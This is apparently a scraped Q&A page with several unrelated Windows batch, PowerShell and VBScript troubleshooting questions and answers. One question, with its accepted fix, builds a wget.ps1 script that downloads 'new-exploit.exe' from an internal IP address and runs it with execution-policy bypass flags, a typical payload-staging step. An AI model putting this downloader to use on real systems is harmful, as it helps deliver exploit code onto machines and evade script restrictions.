Am trying to open a website and filling a form, from "echo off" till "del %command%" is working fine but from the second example website it's not working which related to filling forms!
#echo off
set command=C:\Users\%USERNAME%\Desktop\GMAIL.VBS
start https://www.example.com/sign-in
echo Set objShell = WScript.CreateObject("WScript.Shell") > %command%
echo Set WshShell = WScript.CreateObject("WScript.Shell") >> %command%
echo Do Until Success = True >> %command%
echo Success = objShell.AppActivate("Google Chrome") >> %command%
echo Loop >> %command%
echo WshShell.SendKeys "E-mail" >> %command%
echo WshShell.SendKeys "{TAB}" >> %command%
echo WshShell.SendKeys "Password" >> %command%
echo WshShell.SendKeys "{ENTER}" >> %command%
ping 192.0.2.2 -n 1 -w 5000 > nul
start %command%
ping 192.0.2.2 -n 1 -w 1000 > nul
del %command%
start https://www.example2.com/my-account/new-order/
echo WshShell.Sendkeys "Name"
echo WshShell.Sendkeys "{TAB}"
echo WshShell.Sendkeys "City"
echo WshShell.Sendkeys "{TAB}"
echo WshShell.Sendkeys "City"
exit
Related
This question already has answers here:
Catch exception from external windows command utility
(1 answer)
Try Catch on executable exe in Powershell?
(2 answers)
Closed 4 years ago.
I have a PowerShell script that runs 4 commands for each dataset found. I am trying to add error handling, so if I get a error on the first CMD result, not to process the other 3 for that user set.
I tried the below as well as adding -ErrorAction Stop to the CMD commands. However, it's not working.
Any ideas how I can catch the exception?
foreach ($row in $Dataset.tables[0].rows) {
try {
cmd.exe /c "$PSScriptRoot\bin\script.bat -c $PSScriptRoot\bin\config.groovy -devmwp $UserID;$DeviceID;1;1439 2>&1 >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
cmd.exe /c "$PSScriptRoot\bin\script.bat -c $PSScriptRoot\bin\config.groovy -usrspvs $UserID;${App}:$Track >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
cmd.exe /c "$PSScriptRoot\bin\script.bat -c $PSScriptRoot\bin\config.groovy -appi $UserID;$DeviceID;$App >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
cmd.exe /c "$PSScriptRoot\bin\script.bat -c $PSScriptRoot\bin\config.groovy -usrcpvs $UserID>> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
} catch {
Write ("Catch Failure")
break
}
}
Exception is this:
Exception in thread "main"
com.google.api.client.googleapis.json.GoogleJsonResponseException: 404 Not Found
{
"code" : 404,
"errors" : [ {
"domain" : "global",
"location" : "userId",
"locationType" : "parameter",
"message" : "No user was found for the given id.",
"reason" : "notFound"
} ],
"message" : "No user was found for the given id."
}
at
Solution from #Lee_Dailey:
foreach ($row in $Dataset.tables[0].rows) {
cmd.exe /c "$PSScriptRoot\bin\playinvoker.bat -c $PSScriptRoot\bin\config.groovy -devmwp $GoogleUserID;$GoogleDeviceID;1;1439 2>&1 >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
if (!$LastExitCode) {
cmd.exe /c "$PSScriptRoot\bin\playinvoker.bat -c $PSScriptRoot\bin\config.groovy -usrspvs $GoogleUserID;${App}:$Track >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
cmd.exe /c "$PSScriptRoot\bin\playinvoker.bat -c $PSScriptRoot\bin\config.groovy -appi $GoogleUserID;$GoogleDeviceID;$App >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
cmd.exe /c "$PSScriptRoot\bin\playinvoker.bat -c $PSScriptRoot\bin\config.groovy -usrcpvs $GoogleUserID >> $PSScriptRoot\${FileName}_REST_${DateTime}.txt";
}
}
Here is the my powershell script to download a file from a remote machine:
Powershell Console:
C:\Users\XXX> echo $storageDir = $pwd > wget.ps1
C:\Users\XXX> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:\Users\XXX> echo $url = "http://172.16.3.89/new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $file = "new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $webclient.DownloadFile($url,$file) >> wget.ps1
The last line gives the following error:
Output:
You cannot call a method on a null-valued expression.
At line:1 char:29
* echo $webclient.DownloadFile <<<<< ($url,$file) >> wget.ps1
*CategoryInfo : InvalidOperation: (DownloadFile:String [], RuntimeException
*FullyQualifiedErrorId : InvokeMethodOnNull
If I handle the last line, I can download the file in powershell with the following command :
Powershell Console:
C:\Users\XXX> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1
How can I solve the $webclient "null-valued expression" problem? Do you have any idea?
You are not writing the lines as-is in the output file, they are being interpreted and executed.
For example, the 1st line writes to wget.ps1 3 things: the value of the variable $storageDir, an equals sign, and the value of the variable $pwd. The null-valued expression indicated is the $webclient variable, which indeed is evaluated to null when you execute the 5th line.
In order to achieve what you mean, you should put into single-quote the contents of every line:
echo '$storageDir = $pwd' > wget.ps1
echo '$webclient = New-Object System.Net.WebClient' >> wget.ps1
echo '$url = "http://172.16.3.89/new-exploit.exe"' >> wget.ps1
echo '$file = "new-exploit.exe"' >> wget.ps1
echo '$webclient.DownloadFile($url,$file)' >> wget.ps1
i don't really understand what you trying to do but in order to download a File you could use this snippet as reference:
$downloadPath = "http://ipv4.download.thinkbroadband.com/5MB.zip"
$storageDir = "$PSScriptRoot\5mb.zip"
(New-Object System.Net.WebClient).DownloadFile($downloadPath, $storageDir)
Source:
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
Hope this helps!
Greetz
This Powershell script calls MsiZap on a remote server to delete a software based on it's product code if it exists.
I'm getting a parsing error saying the following:
At C:\Scripts\Remove Tools\Remove-Tools.ps1:41 char:83
+ ... {57753043-0E65-4B13-9AF0-AC09CFC29C03} }
+ ~
You must provide a value expression following the '-' operator.
At C:\Scripts\Remove Tools\Remove-Tools.ps1:41 char:83
+ ... {57753043-0E65-4B13-9AF0-AC09CFC29C03} }
+ ~~~~~~~~~~~~~~~~~~~~~~
Unexpected token '4B13-9AF0-AC09CFC29C03' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParseException
+ FullyQualifiedErrorId : ExpectedValueExpression
Here's all of the switching code:
foreach ($product in $products){
Switch -wildcard($product.IdentifyingNumber){
"*C18D2775-33F4-4CE9-B071-4ECC78DA5E31*" { "Removing Software" >> "$spath\log.log"
./psexec \\$computer -s -w c:\ cmd /c msizap.exe TW {C18D2775-33F4-4CE9-B071-4ECC78DA5E31} }
"*59AB19CE-2706-4F7B-B567-403BB584D92E*" { "Removing Software" >> "$spath\log.log"
./psexec \\$computer -s -w c:\ cmd /c msizap.exe TW {59AB19CE-2706-4F7B-B567-403BB584D92E} }
"*57753043-0E65-4B13-9AF0-AC09CFC29C03*" { "Removing Software" >> "$spath\log.log"
./psexec \\$computer -s -w c:\ cmd /c msizap.exe TW {57753043-0E65-4B13-9AF0-AC09CFC29C03} }
"*4B932CA6-727B-4948-91E3-FFCF75CE3478*" { "Removing Software" >> "$spath\log.log"
./psexec \\$computer -s -w c:\ cmd /c msizap.exe TW {4B932CA6-727B-4948-91E3-FFCF75CE3478} }
}
}
The following line is the one causing the error:
"*57753043-0E65-4B13-9AF0-AC09CFC29C03*" { "Removing Software" >> "$spath\log.log"
./psexec \\$computer -s -w c:\ cmd /c msizap.exe TW {57753043-0E65-4B13-9AF0-AC09CFC29C03} }
The other lines, which are identical (besides the change in product code) do not get this error.
Having a hard time with this one. I can run the following command from a command prompt successfully, but can't get it working with a VB script.
From CMD:
Change directory to C:\Program Files (x86)\VMware\VMware Workstation\
then run: vmrun.exe -T ws start "C:\Users\Office\Documents\Virtual Machines\Windows 7\Windows 7.vmx" nogui
What I've tried in VBS:
Dim objShell, strPath1, strAttr, strPath2
Set objShell = CreateObject ("WScript.Shell")
strPath1 = "C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe"
strAttr1 = " -T ws start "
strAttr2 = "C:\Users\Office\Documents\Virtual Machines\Windows 7\Windows 7.vmx"
strAttr3 = " nogui"
'WScript.Echo strPath1 & strAttr1 & """" & strAttr2 & """" & strAttr3
objShell.Run strPath1 & strAttr1 & """" & strAttr2 & """" & strAttr3
The error I get is: The system cannot find the file specified.
Working Code ended up being:
Dim objShell, strPath1, strAttr1, strAttr2, strAttr3
Set objShell = CreateObject ("WScript.Shell")
strPath1 = """C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe"""
strAttr1 = " -T ws start "
strAttr2 = """C:\Users\Office\Documents\Virtual Machines\Windows 7\Windows 7.vmx"""
strAttr3 = " nogui"
objShell.Run strPath1 & strAttr1 & strAttr2 & strAttr3
i would replace objShell.Run strPath1 & strAttr1 & """" & strAttr2 & """" & strAttr3
with
objShell.Run strPath1 & strAttr1 & chr(34) & strAttr2 & chr(34) & strAttr3
or include the chr(34) before and after the strAttr2 variable
strAttr2 = chr(34) & "C:\Users\Office\Documents\Virtual Machines\Windows 7\Windows 7.vmx" & chr(34)
btw chr(34) = "
I get this error:
Image
When i try to run this code:
strComputer = "server01"
strCommand = "powershell.exe -NoLogo -Command Start-Service -InputObject $(Get-Service -Computer " & strComputer & " -Name " & strService & ")"
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objExec = WshShell.Run(strCommand,0,True)
I want to run strCommand in an hidden window. This works the code ran through and do what it should do but this error occure and this is really bad.
.Run() - as opposed to .Exec() - returns an error code (not an object). So you must not use
Set objExec = WshShell.Run(strCommand,0,True)
but
nErrorCode = WshShell.Run(strCommand,0,True)
You need to add a double quote before the command and at its end:
strCommand = "powershell.exe -NoExit -NoLogo -Command ""Start-Service -PassThru -InputObject (Get-Service -Computer " & strComputer & " -Name " & strService & ")"""